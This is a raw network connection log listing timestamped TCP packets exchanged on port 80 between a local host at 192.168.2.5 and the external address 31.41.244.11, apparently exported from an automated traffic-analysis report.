Dec 19, 2024 03:09:13.822890043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.822943926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.823714972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.823769093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.823867083 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.823920965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.824714899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.824769974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.824872971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.824928045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.825687885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.825743914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.825830936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.825882912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.826673985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.826726913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.826809883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.826863050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.827639103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.827688932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.827825069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.827877045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.828643084 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.828701019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.828773975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.828824997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.829616070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.829667091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.829771042 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.829826117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.830583096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.830635071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.830725908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.830777884 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.831676006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.831728935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.831794977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.831845999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.832532883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.832608938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.832686901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.832741022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.833508968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.833560944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.833653927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.833704948 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.834506989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.834562063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.834675074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.834728003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.835510969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.835570097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.835653067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.835705996 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.836457968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.836514950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.836615086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.836664915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.837452888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.837505102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.837600946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.837652922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.838413954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.838469028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.838541031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.838593006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.839433908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.839488983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.839605093 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.839656115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.840379953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.840431929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.840496063 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.840548038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.841350079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.841403961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.841521978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.841577053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.842324018 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.842375040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.842483997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.842536926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.843341112 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.843396902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.843482018 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.843533993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.844347000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.844398975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.844443083 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.844492912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.845283031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.845339060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.845405102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.845458031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.846246004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.846297026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.846386909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.846437931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.847230911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.847281933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.847368956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.847421885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.989099979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.989176989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.989208937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.989294052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.989520073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.989588022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.989661932 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.989717960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.990504980 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.990573883 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.990648031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.990705967 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.991513014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.991576910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.991633892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.991692066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.992465019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.992516994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.992593050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.992645025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.993448973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.993506908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.993590117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.993665934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.994426012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.994479895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.994560003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.994616032 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.995407104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.995477915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.995548010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.995604038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.996382952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.996437073 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.996519089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.996576071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.997396946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.997459888 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.997524023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.997581959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.998331070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.998394966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.998478889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.998538017 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.999320030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.999407053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.999444962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.999504089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.000288963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.000348091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.000428915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.000487089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.001292944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.001368999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.001415968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.001504898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.002253056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.002309084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.002393961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.002445936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.003246069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.003401995 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.003433943 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.003452063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.004247904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.004302025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.004391909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.004446983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.005203962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.005259991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.005337000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.005388975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.006189108 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.006249905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.006319046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.006371975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.007157087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.007205963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.007292986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.007347107 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.008116961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.008172035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.008304119 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.008357048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.009114981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.009166956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.009243011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.009294987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.010088921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.010140896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.010235071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.010287046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.011065006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.011120081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.011198044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.011250973 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.012090921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.012151003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.012190104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.012240887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.013041973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.013094902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.013168097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.013220072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.014003992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.014058113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.014148951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.014204979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.014992952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.015048027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.015119076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.015172958 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.015970945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.016027927 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.016109943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.016161919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.016940117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.016994953 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.017076969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.017134905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.017992973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.018048048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.018093109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.018145084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.018903971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.018956900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.019023895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.019077063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.019880056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.019952059 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.019999027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.020051003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.020905018 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.020961046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.021001101 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.021051884 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.021857023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.021909952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.021979094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.022032022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.022838116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.022890091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.022979021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.023031950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.023818970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.023873091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.023917913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.023968935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.024781942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.024836063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.024914026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.024966002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.025796890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.025851965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.025906086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.025959015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.026721954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.026773930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.026866913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.026920080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.027714014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.027770042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.027848005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.027899027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.028780937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.028832912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.029016972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.029068947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.029726028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.029777050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.029957056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.030031919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.030651093 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.030702114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.030770063 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.030821085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.031646013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.031697989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.031795025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.031845093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.032674074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.032743931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.032788038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.032835007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.033587933 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.033643007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.033723116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.033781052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.034579992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.034631014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.034701109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.034754038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.035557032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.035609961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.035681963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.035732985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.036573887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.036624908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.036660910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.036711931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.037498951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.037550926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.037627935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.037678003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.038537025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.038589954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.038608074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.038657904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.039468050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.039519072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.039613962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.039664984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.040374041 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.040453911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.181524038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.181581974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.181617975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.181787968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.181912899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.181962013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.181977034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.182010889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.182810068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.182867050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.182917118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.182976007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.183820963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.183873892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.183984995 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.184037924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.184751034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.184812069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.184861898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.184915066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.185739994 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.185796022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.185841084 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.185894012 CET	49835	80	192.168.2.5	31.41.244.11
